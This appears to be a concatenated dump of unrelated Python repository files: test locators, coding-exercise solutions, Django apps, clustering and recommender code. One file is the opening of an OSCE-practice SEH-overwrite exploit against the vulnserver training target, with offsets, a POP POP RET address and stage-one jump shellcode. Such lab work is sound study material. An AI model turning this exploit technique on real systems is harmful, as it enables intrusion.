# 2011-07-29 pkrawczak@gmail.com import pygame, threading, sys, stoppablethread, time from pygame.locals import * class Blitable(pygame.Surface): def __init__(self, size): pygame.Surface.__init__(self, size) self.enabled = True def blit_on(self, surface): pass class TextInput(Blitable): def __i...
ad9ca05df0500200ef9899851623fba9aea1ca11
f26ac4f615ecf67f4f680de0ba22bbd4365f7f36
/PageObjects/locators/Locator.py
ea773076178e4e12644872a9356b363093be4342
[]
no_license
BLMO-Automation/BLMO-Automation
7eef9c4acdbea533fd07520a580a5e08b223c01c
d3fbcd0772cca89cd9ab1176a5ee785cb3a59680
refs/heads/master
2020-08-15T00:37:03.222776
2020-01-13T10:16:35
2020-01-13T10:16:35
215,254,658
0
0
null
null
null
null
UTF-8
Python
false
false
818
py
Locator.py
class Locator(object): # Logindex page usename = '//input[@name="username"]' password = '//input[@name="Password"]' roleCombo = '//*[@id="isc_1F"]' roleAdmin = '//*[@id="isc_PickListMenu_0_row_0"]' sigin = '//*[@id="isc_1L"]' # Home Page tool strip toolStrip = '//*[@class="toolStrip"]...
166be8cc5242e92e14a267368b0460e2aa665a34
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03588/s456935900.py
6475b2b87f1702d0e861b80f83134626c89731ba
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
125
py
s456935900.py
n=int(input()) ma,r=0,0 for _ in range(n): a,b=map(int,input().split()) if ma<a: ma=a r=ma+b print(r)
dfc23cf2ebea1a2255bf1bb85dcb7cbf012221be
d65752bb2819983590e53de1c664d4f83df7bc79
/infrastructure/deploy/lambda/client.py
e0e2c105cbdd5b44f87ae33933a5cc156f637919
[ "Apache-2.0" ]
permissive
SzymonSecurion/slgl-public
4ade280e7e0af2c737097308d418d332d63689fa
439b52164d52345e0fc632537911f2d19e547efd
refs/heads/master
2023-03-22T18:43:13.810244
2021-03-10T12:06:38
2021-03-10T12:06:38
346,342,057
0
0
null
null
null
null
UTF-8
Python
false
false
2,041
py
client.py
import requests import urllib import logging logger = logging.getLogger() logger.setLevel(logging.INFO) url = "https://45o35kkpi7.execute-api.eu-west-1.amazonaws.com/Prod/" user = "admin" private_key = None def post(id, type, extensions = {}): print(url) data = { "@id": id, "@type": type ...
4d84a4c8decabcad4e1fd36faacf49d5bf8d8027
aed2b328980f24e0e3673ee76adbd6a8496ab28e
/1-02E-ScatterplotExercises/Ex1-Scatterplot.py
e5696b2059cf8bac55432c35b1e9e2c9fc7e9502
[]
no_license
sbwiecko/Plotly-Dashboards-with-Dash
2ba0ac1023bc06f6d9b8142c29d6e6ef2779e878
7d7aa63128f37aa35654da3269fd51b5e634d854
refs/heads/master
2022-12-16T10:41:07.910581
2020-09-21T18:56:05
2020-09-21T18:56:05
292,024,624
0
0
null
2020-09-01T14:44:32
2020-09-01T14:44:31
null
UTF-8
Python
false
false
954
py
Ex1-Scatterplot.py
####### # Objective: Create a scatterplot of 1000 random data points. # x-axis values should come from a normal distribution using # np.random.randn(1000) # y-axis values should come from a uniform distribution over [0,1) using # np.random.rand(1000) ###### # Perform imports here: import numpy as np import plotly.offl...
62cf0b1350e642b3cabb0a6f84211ba15adb4ea4
ab415cc9e21bd6d92b5d8a4a1cce36ee1d3ee247
/stellar/communication/listener.py
59bda24f74c0c5c55c60f3a3366a48ccf4dfcf91
[ "MIT" ]
permissive
strfx/stellar
bf2f9bff19326919eecfb03c749f454b5192f8e5
41b190eed016d2d6ad8548490a0c9620a02d711e
refs/heads/main
2023-07-20T14:53:40.273806
2021-08-26T15:01:57
2021-08-26T15:01:57
399,813,779
0
0
null
null
null
null
UTF-8
Python
false
false
1,432
py
listener.py
import json import socket from threading import Thread from typing import Any, Callable from communication.common import get_socket_and_address class MessageListener: handler: Callable[[dict], Any] listener_socket: socket is_running: bool = True def __init__(self, sender_id: str, callback: Callable[...
0598bf7956407b8e0621af1c7d767ee85d17431d
d65097195a7838458900ab678db8537a57102216
/vulnserver/LTER - SEH Overwrite/3rd-stage_lter.py
9fc651fe8489379269d4fb60e696895234d34e3c
[]
no_license
RaySdj/OSCE
15197b9678964047e08cd05b468faef3397fb8ba
0490b02a7ac07b6077fbb3f16d757e3345e2d6a2
refs/heads/master
2022-12-14T22:48:16.343273
2020-09-09T15:56:23
2020-09-09T15:56:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,610
py
3rd-stage_lter.py
import socket import struct import os import sys vuln_command = "LTER _.?" crash = 4000 offset = 3520 seh = struct.pack("<I", 0x6250120b) # POP POP RET # 1st Stage Shellcode (Short JMP - nSEH) stage1 = "" stage1 += "\x75\x08" # JNZ SHORT [+0x10] = Jump if ZF is not 0 stage1 += "\x74\x06" ...
719acacd8e163c45bfc1f17530a35911748b9ff8
574fcc7007158d22324032b8848241ead380fa21
/Quiz.py
04194b58d9060a0bd22a00ed6384fcea69d53ac2
[]
no_license
harikrishnareddy1997/python-practices
0f0e422c8bca2211798a3181c38e632985e57b45
9ef1f4ada3bdfb9228c637fd35ae7b2a983a3f07
refs/heads/master
2020-07-08T17:40:30.747630
2019-08-22T07:14:36
2019-08-22T07:14:36
203,735,106
0
0
null
null
null
null
UTF-8
Python
false
false
185
py
Quiz.py
p=int(input()) ir=float(input()) ir1=ir/100 nt=int(input()) noy=float(input()) def compound_intrest(): A=p*(pow((1+ir1/nt),noy)) return A print(compound_intrest())
f67a38b6a7fcd264a1d583e2aa7a6b578f423c87
7d9debf2b16d36d9e80873efb42897ad479b725b
/inheritence.py
73be218054cd88a1c0ac016dfd62d11e03a327fd
[]
no_license
Ghanshyam1296/Python-Basics
bdc349e77cbe79345355466a26875f4bfef173c5
a8272da1a42f6b9af3f4dec5d4820b750ca41a3c
refs/heads/master
2020-05-17T23:02:48.912808
2019-04-29T08:44:20
2019-04-29T08:44:20
184,019,841
0
0
null
2019-04-29T08:44:23
2019-04-29T07:16:57
Python
UTF-8
Python
false
false
1,977
py
inheritence.py
#Inheritence:creating subclasses class Employee: num_of_emps=0 raise_amount=1.04 def __init__(self,first,last,pay): self.first=first self.last=last self.pay=pay self.email=first+'.'+last+'@company.com' Employee.num_of_emps+=1 def fullname(self): return '{} {}'.format(self.first,self.last) ...
b8ed7153efad05edfe2c1ef7f6e399aa10123ee9
1e47e604fcbeffedfe35fb933a3171f2a876c071
/PythonApplication1/PythonApplication1/PythonApplication1.py
1dfab32cb49230f027628cfc76f323b7152d5a4a
[]
no_license
caihedongorder/PythonEx
5ec9f938869167fa3a56b4705ce9f8ce29b0b65c
b40fcd2e73309da9a47be2ec1676c9281866246f
refs/heads/master
2021-09-15T07:18:31.208471
2018-05-28T13:25:03
2018-05-28T13:25:03
104,706,038
0
0
null
null
null
null
UTF-8
Python
false
false
209
py
PythonApplication1.py
import os print type(os) class test(object): def __init__(self): self.a = 0 self.b = 2 c = test() c.a = 100 c.b = 101 print("a:{a},b:{b}".format(a = c.a,b = c.b)) print("hello World")
65617a114027521743f1c8887247f7f91cd2be51
cfc4c185d3a25f5d8abde38689427bbc2ec03560
/server/pointsTracker/urls.py
079677cc62ab2b7e74d13e780886dad07d4f3512
[]
no_license
dwpeters521/rewardsServiceTest
dbb029dcd306c571817189b6b1075d231ebc153f
dfd08b403651ba20676f940e419d1e65f6ffe8a1
refs/heads/master
2023-04-04T23:38:56.158146
2021-04-12T21:54:05
2021-04-12T21:54:05
357,339,704
0
0
null
null
null
null
UTF-8
Python
false
false
238
py
urls.py
from django.urls import path from .views import add_transaction, get_balance, spend_points urlpatterns = [ path('add-transaction/', add_transaction), path('get-balance/', get_balance), path('spend-points/', spend_points), ]
b8d5a0c924d0cb911760f4564d740ea5c30fd53d
d590c5fc334d41d5332c19b1f97195de01ae5b99
/module1/turtle/turtle_1.py
92b21df44bad8a19385c081d92959360296d3ee5
[]
no_license
wesley-ruede/Learning
d30241e51853588fbdd4161fd8f689b067cfc73d
2f5267224c39d8e96eaa8906c385896460083885
refs/heads/master
2020-04-25T20:30:25.257214
2019-10-30T03:18:26
2019-10-30T03:18:26
173,051,596
0
0
null
2019-10-30T03:18:27
2019-02-28T06:07:01
Python
UTF-8
Python
false
false
106
py
turtle_1.py
import turtle #import turtle t = turtle.Pen() # create a canvas t.forward(100) #move forward 100 pixels
726461f28cd73fbe974b2c8736021600b5856454
f07900334326d809a80f3619197769ea63b84c17
/Programming-Basic-Python/Exams/Exam _20_21_April_2019/02. Easter Guests.py
26525e74f94176e3d4edcccc61357ec7166aa8d6
[]
no_license
SJeliazkova/SoftUni
394a0da0041bcf2d2be6c5ac18264d52df0f8ad1
5f2c7a9641495e75297d642346dd881de6bfc424
refs/heads/main
2023-02-27T19:11:35.637028
2021-02-06T18:55:58
2021-02-06T18:55:58
332,763,499
0
0
null
null
null
null
UTF-8
Python
false
false
512
py
02. Easter Guests.py
import math guests_number = int(input()) budget = int(input()) eastern_bread = math.ceil(guests_number / 3) eggs = guests_number * 2 total_price = eggs * 0.45 + eastern_bread * 4 if total_price <= budget: left_money = budget - total_price print(f"Lyubo bought {eastern_bread} Easter bread and {eggs} eggs.") ...
61ed6287b2a57daeb08daf145805e21c06cbf784
3627611c7c1a3578f73cd2299ce10ddbe385a614
/Gaussian/hw1.py
932ee7210b097494f3ee545606c365ec2fb72839
[]
no_license
KaziSabrinaSonnet/Machine_Learning_From_Scratch
0d8d0eec0a807d4138a8acd21303b7e5157f6e6d
79bece160bcaa5a320f2545e6adeea2893a55733
refs/heads/master
2022-12-01T23:21:56.883473
2020-07-24T02:33:28
2020-07-24T02:33:28
281,903,913
1
0
null
null
null
null
UTF-8
Python
false
false
5,044
py
hw1.py
#%% import numpy as np import matplotlib.pyplot as plt # This is similar to the code from lecture 1 # to sample from a 2D Gaussian Distribution mean = [0,0] cov = [[1, 1.5], [1.5, 5]] # Fix random seed to get consistent results np.random.seed(1024) X = np.random.multivariate_normal(mean, cov, 1000) fig, a...
753db533ac00c2c6bf39d0beff1f62db61fa0ccc
3116cf3de616e144b564c23808ffc136598338ab
/workspace/spider/SpiderClient/bin/common/config_parser.py
c27ec54a94227c5a3bb6097f03ec411a6deb1921
[]
no_license
20113261/lave
e683475ad96e3dbdaa229e218ed794764e335440
2ce13599b8f9755a8cea0366cb7b1fde6fb5114e
refs/heads/release_spider
2022-12-11T01:57:49.498857
2018-04-24T13:07:17
2018-04-24T13:07:17
136,786,061
0
1
null
2022-12-07T23:41:46
2018-06-10T06:45:56
Python
UTF-8
Python
false
false
19,368
py
config_parser.py
#!/usr/bin/env python #coding=utf8 ''' @author: zhangbin @date: 2014-07-30 @desc: read config crawl url and parse data ''' import re import os import json from lxml import html import random import time import urllib import ConfigParser from util.logger import logger from common import get_pro...
36557be50f0d2cc9a0f22e24ed5d9afe1c5d80ee
af2c170698c6a20827a5f5de88d0837f3ddf8212
/odoo10/import_planilha/febraban/__init__.py
3d0e4fbbbdf60b05f5df5deb6d4787c13144d13d
[ "MIT" ]
permissive
vidtsin/ats_odoo
2ebd2986ba25ab2ae4e4722e771eeae26bdae997
f03405b2ec52b8403647cc7e9b62dcbc51e43b2c
refs/heads/master
2020-09-02T14:29:01.385343
2017-09-21T23:08:15
2017-09-21T23:08:15
null
0
0
null
null
null
null
UTF-8
Python
false
false
25
py
__init__.py
from . import fixed_files
9fb587f6d48c6cd9caa884800365df619883f71b
1b4a2c0894613e5a723a7555207410ae3af313fe
/src/example.py
bf07219527c335c5b0443af18d0226fc383e65f2
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
gnumpi/t-Student-Mixture-Models
9d152587832d2d558982ded9098316d8e13f3783
a33e84a972127edce691caf636ee2dddab0a8571
refs/heads/master
2021-07-10T14:10:59.650091
2021-06-08T12:22:00
2021-06-08T12:22:00
208,325,672
0
0
BSD-3-Clause
2019-09-13T18:41:24
2019-09-13T18:41:24
null
UTF-8
Python
false
false
2,988
py
example.py
#!/usr/bin/env python # # @brief Example that shows how to generate a random sample of data coming from # a mixture of t-Student distributions and then use the 'smm.SMM' class # to estimate the parameters of the original model using # Expectation-Maximization. # # @author Luis C. Garcia-Pera...
c3fc51875ca157cbd938c73c2bdcac2e4ad65759
a89e61a5dfe6af8e15fb826dccf57e6b32bfba26
/users/api/v1/serializers.py
a5fa345bea2b5018b5b4399e634e28a2bb822168
[]
no_license
crowdbotics-apps/web-model-test-dev-5627
a0c9ec0f83814f90556f0c6abf7dc2dc8a9d98c4
2d8720c4912135952d07960f44c227e0352a5900
refs/heads/master
2022-10-01T21:28:43.664132
2020-06-08T08:39:50
2020-06-08T08:39:50
270,574,134
0
0
null
null
null
null
UTF-8
Python
false
false
195
py
serializers.py
from rest_framework import serializers from users.models import HJGhjkh class HJGhjkhSerializer(serializers.ModelSerializer): class Meta: model = HJGhjkh fields = "__all__"
b75754828aad47f1bd1e041875107a94e94a5072
3a94263bbb5be4ad759a94f855b5214eb4999fe3
/NER/predict.py
f5d535f8240a642031e682e3899fb14b2929e1c8
[]
no_license
ssxy00/AdvancedNLP
df3335d528115f46f9523163083dfad39dab6d27
9e91a8ab06e6c555e1c5c187b21e2e253be96c91
refs/heads/master
2022-07-03T13:40:55.764676
2020-05-16T19:25:54
2020-05-16T19:25:54
260,645,061
1
0
null
null
null
null
UTF-8
Python
false
false
5,767
py
predict.py
# -*- coding: utf-8 -*- # @Time : 2020/5/5 23:44 # @Author : ssxy00 # @File : predict.py # @Description : 给定待预测的输入文件和模型,生成输出文件 import os import argparse from tqdm import tqdm from transformers import BertTokenizer import torch from models.bert_ner_model import BertNerModel from utils import set_se...
702a87ce72601f9ca405b955ab48059c2133743a
b3b5a641bac09cbf5b90a27a1e72b9100b1b946a
/modules/scorerun.py
3706176fe7ce97af795926cc823514dde7ad1927
[]
no_license
rafaelperazzo/ePesquisaPRPI
44eec925190e5a6c03ed1587c5dd0ca82ab527a8
08eb2fb9f760556b1f4b5d014d917d6f0d899455
refs/heads/master
2020-04-12T20:40:38.251854
2019-07-04T12:25:11
2019-07-04T12:25:11
162,743,579
0
0
null
null
null
null
UTF-8
Python
false
false
55,701
py
scorerun.py
#!/usr/bin/python # -*- coding: utf-8 -*- # # This is the scoreLattes script. # # Copyright (C) 2017 Vicente Helano # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the Lice...
ff888342dca8f64580c4489cb18d1ba11dedeb81
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03049/s946259154.py
dcc790642ce64d7525383ff12640104bf8cc6417
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
691
py
s946259154.py
def resolve(): ''' code here ''' N = int(input()) Ss = [input() for _ in range(N)] num_ab = 0 num_a = 0 num_b = 0 num_b_a = 0 for line in Ss: num_ab += line.count('AB') if line[0] == 'B' and line[-1] == 'A': num_b_a += 1 elif line[-1] == 'A'...
8eb01b8509e71a9b3a1a194db605bce9333599b2
4f9e6e3cb739fbcaec2a6b197ce12285ed0e1cf7
/adverts/models.py
222c630b512ade3baa2fa40d70bd87fa4e16fc79
[]
no_license
BorisKolganov/piscatory
d771719694769c2d871685aeae86bb9b1e7f5319
b30be0840c76b2c4bcfd5384503cd16d10a7b707
refs/heads/master
2021-01-22T02:08:39.278948
2017-02-27T20:14:09
2017-02-27T20:14:09
81,028,580
0
0
null
null
null
null
UTF-8
Python
false
false
2,716
py
models.py
# coding=utf-8 from __future__ import unicode_literals import random from django.db import models class AdvertManager(models.Manager): def get_showable(self): return self.get_queryset().filter(is_moderated=True, is_active=True, is_sold=False) def get_best_adverts(self): l = list(self.get_sh...
7954f1e9faf942ca98f2b58e413eb0f921b1a372
0ddb5035d6ae47566e62aefb2160fcd822c102e6
/skaterapp/anggaran/apps.py
3a404075af526935f97b374a6827b5a4d28e3464
[]
no_license
kurniantoska/try-django-11.4
e417cc6bdbbaf7299e9b5170cb97a32a847d6e5b
ccd4ecb943595b5907fa60f00b1942912fe6d0ac
refs/heads/master
2021-01-15T21:15:03.075466
2017-10-01T03:06:47
2017-10-01T03:06:47
99,857,166
0
0
null
null
null
null
UTF-8
Python
false
false
91
py
apps.py
from django.apps import AppConfig class AnggaranConfig(AppConfig): name = 'anggaran'
d79fae57bc971fb80be9af8259abd3c97f3298ea
0ea009940fc8a4b0b7a292dcd5296dc638e9a411
/FCM_clustering_lowDim.py
35569cd6f773639dd212895f15003f323317a5bc
[]
no_license
Kaho-Lee/FCM_GranularComp
4c12da051825c0ec1a59c55c6f44f8e0a31f6ab7
7af91c32758305e534356f429803cd32075ba3f7
refs/heads/master
2022-10-12T14:45:40.165051
2022-09-17T17:28:26
2022-09-17T17:28:26
204,699,199
9
5
null
null
null
null
UTF-8
Python
false
false
29,494
py
FCM_clustering_lowDim.py
#!/usr/bin/env python # coding: utf-8 # In[1]: # %%bash # "--user" is essential to install in local environment" # pip install -U scikit-fuzzy # In[2]: get_ipython().run_line_magic('matplotlib', 'inline') import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D import skfuzzy as...
2c15b0ce0c6725e503e382bcc840073cab9c6e59
7b0fc7be509eb2361e1a378a5218b5d105bb2a3e
/services/training-service/src/recommendations/movie_recommender.py
6e5d71edcfbedcf51e0aa86e725546a361792af9
[]
no_license
lcy19/movie-recommender-system
36906cbddf68673268ebc59ed1821fe3c7d76836
f3b86056acddc7adef808666763f5ba4bf7fb7ee
refs/heads/main
2023-04-26T18:03:56.429861
2021-05-30T18:45:45
2021-05-30T18:45:45
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,070
py
movie_recommender.py
import math import os import pandas as pd from fastai.collab import CollabDataLoaders, collab_learner from src.controller.rating_controller import RatingController from src.controller.user_controller import UserController class MovieRecommender: def __init__(self): """ initialize MovieRecommende...